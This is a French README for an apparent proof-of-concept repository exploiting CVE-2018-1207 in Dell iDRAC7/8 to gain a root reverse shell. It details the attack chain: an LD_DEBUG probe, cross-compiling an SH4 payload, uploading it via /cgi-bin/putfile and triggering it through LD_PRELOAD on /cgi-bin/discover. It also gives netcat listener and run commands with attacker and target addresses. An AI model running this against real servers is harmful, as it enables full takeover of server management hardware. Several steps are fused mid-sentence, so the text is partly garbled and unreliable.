
Reverse Shell CVE pour iDRAC 7 & 8 avec firmware 2.52.52.52 et inférieur.
Ce dépôt contient un script Python de preuve de concept (PoC) destiné à démontrer une exploitation d'exécution de code à distance présente sur les appareils iDRAC7 et iDRAC8 avec des versions de firmware 2.52.52.52 et inférieures. Cette exploitation permet à un attaquant d'exécuter du code avec les droits de l'utilisateur root, ce qui peut conduire à une prise de contrôle totale du système. Dans le code, nous le démontrons en réalisant une attaque par reverse shell à l'aide de l'exploit. Le code de ce dépôt est une version modifiée de l'exploit original de Michael Gargiullo (mgargiullo).
Avertissement - Ce code est fourni uniquement à des fins éducatives. Vous ne pouvez pas utiliser ce script pour attaquer des appareils que vous ne possédez pas ou pour lesquels vous n'avez pas obtenu un consentement écrit explicite. Utiliser ce script sur des systèmes sans autorisation appropriée est illégal. Je ne suis pas responsable de tout usage abusif ou de tout dommage causé par cet outil. Une utilisation non autorisée peut entraîner de graves conséquences juridiques, notamment des amendes et de la prison.
?LD_DEBUG=files. Si la réponse contient un contenu de débogage montrant quels fichiers de bibliothèque il tente de charger, alors nous savons qu'il est vulnérable.sh4-linux-gnu-gcc. Étant donné que l'iDRAC fonctionne sur une architecture de processeur SuperH (SH4), nous devons compiler le code en un objet partagé (.so) afin qu'il puisse être exécuté par l'iDRAC.POST à /cgi-bin/putfile, qui enregistre le fichier dans /tmp/sshpkauthupload.tmp.GET à /cgi-bin/discover avec le paramètre ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. Cela force l'iDRAC à charger une bibliothèque spécifique avant toute autre bibliothèque, ce qui charge ensuite le fichier .so modifié depuis le répertoire /tmp/.constructor, le code est exécuté instantanément dès son chargement, ce qui aboutit à un reverse shell en tant qu'utilisateur root (l'utilisateur disposant des plus hautes permissions sur un système Linux).Avant d'exécuter le script, veuillez vous assurer que vous disposez des éléments suivants :
Python3
Le module requests de Python3 (peut être installé via pip install requests)
Le compilateur croisé C SH4 (peut être installé via sudo apt install gcc-sh4-linux-gnu)
Sans ces prérequis, vous rencontrerez des problèmes et l'exploit ne pourra pas s'exécuter complètement ! Aucune vérification n'est en place pour s'assurer que ces prérequis sont satisfaits.
Démarrez un auditeur (listener) sur votre machine pour réceptionner le reverse shell, utilisez netcat pour cela.
nc -lvnp <LPORT>
Remplacez <LPORT> par le port sur lequel vous souhaitez écouter (par exemple, 5000).
Exécutez le script avec les arguments requis.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost : L'adresse IP de l'iDRAC cible.--rport : Le port de l'interface web de l'iDRAC (généralement 443).--lhost : Votre adresse IP locale à laquelle le reverse shell doit se connecter.--lport : Votre port local sur lequel l'auditeur Netcat est en cours d'exécution.--keep-payload : (Facultatif) Si défini, le script ne supprimera pas payload.c et payload.so de votre machine après l'exécution.Machine de l'attaquant (IP : 192.168.1.100) - Démarrez l'auditeur.
nc -lvnp 5000
Machine de l'attaquant - Exécutez l'exploit ciblant un iDRAC à 192.168.1.50.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
En cas de succès, vous recevrez une session shell dans votre terminal Netcat, à partir de laquelle vous pourrez exécuter des commandes telles que racadm.